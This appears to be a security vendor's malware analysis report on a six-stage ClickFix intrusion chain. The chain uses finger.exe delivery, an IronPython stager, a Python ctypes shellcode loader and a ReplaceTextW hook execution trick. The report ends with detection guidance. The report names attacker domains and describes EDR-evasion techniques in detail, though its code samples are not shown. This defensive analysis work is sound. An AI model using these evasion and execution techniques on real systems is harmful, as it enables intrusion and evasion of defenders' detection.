Executive summary

In May 2026, the DefenseStorm SOC detected suspicious endpoint activity and fired an alert before the malware could complete its mission. What appeared to be a routine ClickFix social engineering attempt turned out to be a deliberate, six-stage intrusion chain designed to deploy and execute custom shellcode in memory.

The attack began with a user being social-engineered into pasting a caret-obfuscated command into a Windows terminal. That command abused finger.exe, a legacy Windows binary, to fetch a staging script from an attacker-controlled server over the finger protocol. No file was dropped. No external tooling was introduced. The script then downloaded IronPython 3.4.2 directly from GitHub, renamed the interpreter binary, and executed an inline payload across three encoding layers (base64, zlib, UTF-32). That payload contacted a C2 server, retrieved a further-obfuscated Python script with Cyrillic lookalike character substitution throughout the base64-encoded content, and used Python’s ctypes library to decrypt a shellcode blob via XOR and load it into a private heap region for execution.

The shellcode itself resolves all Windows API calls at runtime via PEB walking and djb2 hash lookup, keeping function names out of the import table. Depending on whether a local .ini configuration file is present, the shellcode either reads and RC4-decrypts a local payload or contacts a hardcoded C2 URL directly. In both paths, execution is transferred to the payload not through a conventional call or jmp instruction, but through ReplaceTextW from comdlg32.dll, using the dialog hook mechanism of the FINDREPLACEW struct as an indirect execution primitive.

The SOC alert at Stage 1 gave engineers time to trace the complete chain, extract IOCs at every stage, and push protections across the DefenseStorm client base before the campaign could spread.

At a glance

Indicators of compromise

Network indicators

File system artifacts

Behavioral indicators

Attack chain overview

Six stages separated the initial social engineering lure from shellcode execution in memory. Each stage introduced additional components and layered on evasion before handing off to the next.

Stage 1: ClickFix lure and finger.exe delivery

The initial alert fired on the following command, pasted by a user into a Windows terminal as part of a ClickFix social engineering lure:

Caret (^) insertion fragments recognizable strings like finger, start, and linkedco.net, breaking EDR signature matching while remaining syntactically valid to the Windows command interpreter. The command instructs Windows to query linkedco.net using finger.exe and execute the response.

finger.exe is a legacy Windows binary originally designed to query the finger protocol. Its .plan response field can carry arbitrary text, making it a convenient delivery channel with no suspicious file drops and no external tooling required. This is a Living off the Land Binary (LOLbin) technique: the attacker uses a trusted, pre-installed system binary rather than introducing a new one. finger.exe initiating outbound connections to external hosts is rarely monitored in most environments.

Stage 2: finger.exe staging script

The finger protocol response from linkedco.net contained a batch script obfuscated with randomized call set variable assignments. After stripping the obfuscation, the script accomplishes four actions:

Four evasion techniques are present. First, curl.exe is copied from System32 and assigned a .com extension, disguising its identity in process telemetry. Second, IronPython 3.4.2, a legitimate .NET-hosted Python implementation, is downloaded from GitHub rather than CPython, sidestepping detections that target standard Python interpreter behavior. Third, the IronPython binary is renamed to a random string before execution. Fourth, the inline payload combines base64 encoding, zlib compression, and UTF-32 decoding across three layers.

Figure 1: Decoded Stage 2 batch script

Stage 3: Shellcode download

After decoding and decompressing the Stage 2 payload, the following Python script is revealed:

This script contacts the C2, reads the response, and passes it directly to exec(). SSL certificate verification is disabled. The time.sleep(2.1) call is a behavioral sandbox evasion technique: automated analysis environments often impose short execution windows, and a brief sleep can cause them to terminate before the payload is fetched.

Figure 2: Stage 3 Python downloader. C2 contact at sam-sa.net, exec() of response

Stage 4: Shellcode loader

The content returned by the C2 is a further-obfuscated Python script. Cyrillic lookalike characters are embedded throughout the base64-encoded payload, substituted for standard ASCII prior to decoding. This technique targets analysts and automated scanners that look for base64 patterns: the Cyrillic substitutions break detection signatures while leaving the string decodable once the character map is applied.

After applying the substitutions and decoding, the shellcode loader is recovered:

The ctypes library gives Python direct access to Windows API calls. The execution sequence: HeapCreate and HeapAlloc create a private heap region and allocate memory for the shellcode; RtlMoveMemory copies the XOR-decrypted blob into the allocation; CFUNCTYPE casts the raw pointer to a callable function type; and fn() executes the shellcode. The time.sleep() calls flanking the memory copy again serve as sandbox evasion.

Figure 3: Stage 4 shellcode loader. XOR decrypt, heap allocation, ctypes execution chain

Shellcode analysis

API resolution: PEB walking and djb2 hashing

The shellcode does not import any Windows API functions by name. All functions are resolved at runtime by walking the Process Environment Block (PEB). This keeps function names out of the import table and defeats static analysis. Every API call is looked up by a precomputed djb2 hash of the function name. A resolver function walks the PEB’s InMemoryOrderModuleList, iterates each loaded DLL’s export directory, and returns the address of the first export whose name hashes to the target value.

The following script was used during analysis to reverse hashes against common Windows DLLs:

Figure 4: djb2 hash resolver used during analysis

A selection of resolved hashes recovered from the shellcode:

Primary execution path (.ini present)

The shellcode’s main function begins by searching the working directory of its parent process for a .ini configuration file using FindFirstFileW. A constraint is embedded in the logic: the shellcode checks GetLastError against ERROR_NO_MORE_FILES (0x12) after the initial find call. If the result is anything other than 0x12, the malware exits early. The shellcode expects exactly one .ini file present.

Once located, the shellcode reads four key-value pairs from the file via GetPrivateProfileStringW:

Using the package_name value, the shellcode opens and reads the referenced file into a heap allocation. The first 128 bytes of this file are the RC4 key; the remainder is the encrypted payload. The data is decrypted in memory, and the path from install_path is expanded via ExpandEnvironmentStringsW before the decrypted payload is written to disk via CreateFileW and WriteFile.

The file extension of the written payload is then checked via PathFindExtensionW and StrcmpW. If the extension is .msi, the shellcode constructs C:\Windows\System32\msiexec.exe /i <install_path> via PathAppendW and wsprintfW and launches it via ShellExecuteW. All other extensions launch directly via ShellExecuteW, using the runas verb (which triggers a UAC prompt) if run_as_admin = 1, or the open verb if not. Note that runas invokes a UAC prompt rather than bypassing UAC.

Fallback C2 path (no .ini)

If no .ini file is found, the shellcode pivots to a direct C2 download. It constructs a Chrome-like user-agent string and opens a connection to a hardcoded URL via InternetOpenW and InternetOpenUrlW, reading the response into a dynamically growing heap buffer using InternetReadFile and HeapReAlloc.

The downloaded data is RC4-decrypted using a 64-byte key at the start of the response (compared to 128 bytes in the .ini path). The executable shellcode begins at a 64-byte offset from the allocation base. Execution is then transferred via the same ReplaceTextW primitive described below.

The ReplaceTextW execution primitive

This is the most technically notable element of the shellcode. Rather than transferring execution via a conventional call or jmp to the shellcode address (patterns well-monitored by EDR products), the shellcode abuses ReplaceTextW from comdlg32.dll as an indirect execution primitive.

ReplaceTextW accepts a pointer to a FINDREPLACEW struct. That struct contains a member lpfnHook of type LPFRHOOKPROC, a hook procedure invoked internally during dialog initialization when the FR_ENABLEHOOK flag is set in the Flags member. The shellcode populates the struct with the decrypted payload pointer in lpfnHook, sets FR_ENABLEHOOK, and calls ReplaceTextW. The hook fires, and execution transfers to the payload.

The following C example demonstrates the technique:

Figure 5: ReplaceTextW execution primitive. Hook dispatch via FINDREPLACEW.lpfnHook

There is no direct reference to payload() other than the struct member assignment. Execution reaches it entirely through the ReplaceTextW internal hook dispatch. Detection logic that looks for conventional shellcode invocation patterns (direct call reg, jmp reg, or CreateThread to an allocated buffer) will not see this transfer.

How we applied this to our client base

The DefenseStorm SOC detected this campaign at Stage 1 before the shellcode executed. Once the alert fired, engineers traced every component of the chain and extracted IOCs at each stage: the finger.exe delivery domain, the IronPython staging URL, the C2 endpoints, and behavioral patterns across the full loader chain.

Those IOCs were pushed across the full DefenseStorm client base. Any reuse of this campaign infrastructure against a monitored organization will be flagged at the earliest possible stage. The shellcode analysis produced behavioral detection signatures covering: finger.exe initiating outbound connections to external hosts; curl.exe copied to a non-standard directory and renamed with a .com extension; IronPython downloaded from GitHub, extracted, and executed inline; Python ctypes shellcode loaders using the HeapCreate + RtlMoveMemory + CFUNCTYPE execution pattern; PEB-walking shellcode with djb2 hash-based API resolution; and ReplaceTextW invoked with FR_ENABLEHOOK set and a non-UI lpfnHook pointer.

Organizations not currently using a managed detection service should add the IOCs in this report to their threat intelligence platforms and review endpoint telemetry for any of the behaviors described above.

Recommendations

How to detect it

The following behavioral and network-level indicators target what this chain does, not the specific hashes or domains. They will catch this tooling and similar campaigns that follow the same execution pattern.

Network detection

Endpoint detection

For DefenseStorm GRID customers